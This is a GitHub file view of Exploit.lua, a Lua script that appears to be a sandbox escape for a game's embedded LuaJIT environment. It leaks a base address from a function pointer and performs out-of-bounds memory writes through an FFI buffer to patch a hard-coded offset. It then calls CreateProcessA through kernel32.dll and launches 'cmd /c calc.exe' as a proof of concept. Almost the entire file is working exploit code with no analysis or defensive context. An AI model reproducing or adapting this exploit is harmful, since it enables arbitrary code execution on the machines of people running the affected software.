Repository navigation
Expand file tree
/
Copy pathExploit.lua
More file actions
88 lines (84 loc) · 2.96 KB
/
Copy pathExploit.lua
File metadata and controls
88 lines (84 loc) · 2.96 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
--!nocheck
local ffi = ffi;
local memcpy = ffi.copy;
local memory_get_base_address = function()
local debug_draw = require("utils/debugDraw");
local func_ptr = debug_draw.LineInstance_MinArgBatch;
--print(tostring(func_ptr));
local ptr = tonumber(tostring(func_ptr):match("0x[0-9a-f]+"));
local base_address = ptr - 0x651200;
--local address_uintptr = tonumber(tostring(func_ptr):match("0x([0-9a-f]+)")) - 0x140651200;
--return address_uintptr;
return base_address;
end;
local base_address = memory_get_base_address();
print("base");
print(base_address);
local memory_write_exploit = function(memory_address, operand_uintptr)
local buffer = ffi.new("uint32_t[64]");
local buffer_address = tonumber(tostring(buffer):match("0x[0-9a-f]+"));
local write_loc = (memory_address - buffer_address) / 4;
local jit_spray = function(buffer, index_uintptr, value_uintptr)
for _ = 1, 500 do
buffer[index_uintptr] = value_uintptr;
end;
return;
end;
jit_spray(buffer, 0, 0);
local success = pcall(jit_spray, buffer, write_loc, operand_uintptr);
if (not success) then
jit_spray(buffer, write_loc, operand_uintptr);
end;
--buffer[write_loc] = operand_uintptr;
return;
end;
local execute_program = function(cmd)
memory_write_exploit(base_address + 0x4a5a410, 1);
local kernel32 = ffi.load("kernel32.dll");
ffi.cdef[[
typedef struct _STARTUPINFOA {
uint32_t cb;
char* lpReserved;
char* lpDesktop;
char* lpTitle;
uint32_t dwX;
uint32_t dwY;
uint32_t dwXSize;
uint32_t dwYSize;
uint32_t dwXCountChars;
uint32_t dwYCountChars;
uint32_t dwFillAttribute;
uint32_t dwFlags;
uint16_t wShowWindow;
uint16_t cbReserved2;
uint8_t* lpReserved2;
void* hStdInput;
void* hStdOutput;
void* hStdError;
} STARTUPINFOA;
typedef struct _PROCESS_INFORMATION {
void* hProcess;
void* hThread;
uint32_t dwProcessId;
uint32_t dwThreadId;
} PROCESS_INFORMATION;
int CreateProcessA(
const char* lpApplicationName,
char* lpCommandLine,
void* lpProcessAttributes,
void* lpThreadAttributes,
int bInheritHandles,
uint32_t dwCreationFlags,
void* lpEnvironment,
const char* lpCurrentDirectory,
STARTUPINFOA* lpStartupInfo,
PROCESS_INFORMATION* lpProcessInformation
);
]] -- who actually remembers this shit?
local command_buffer = ffi.new("char[?]", #cmd + 1);
memcpy(command_buffer, cmd);
local result_int32 = kernel32.CreateProcessA(nil, command_buffer, nil, nil, 0, 0, nil, nil, ffi.new("STARTUPINFOA"), ffi.new("PROCESS_INFORMATION"));
return result_int32;
end;
--print("calc now");
execute_program("cmd /c calc.exe");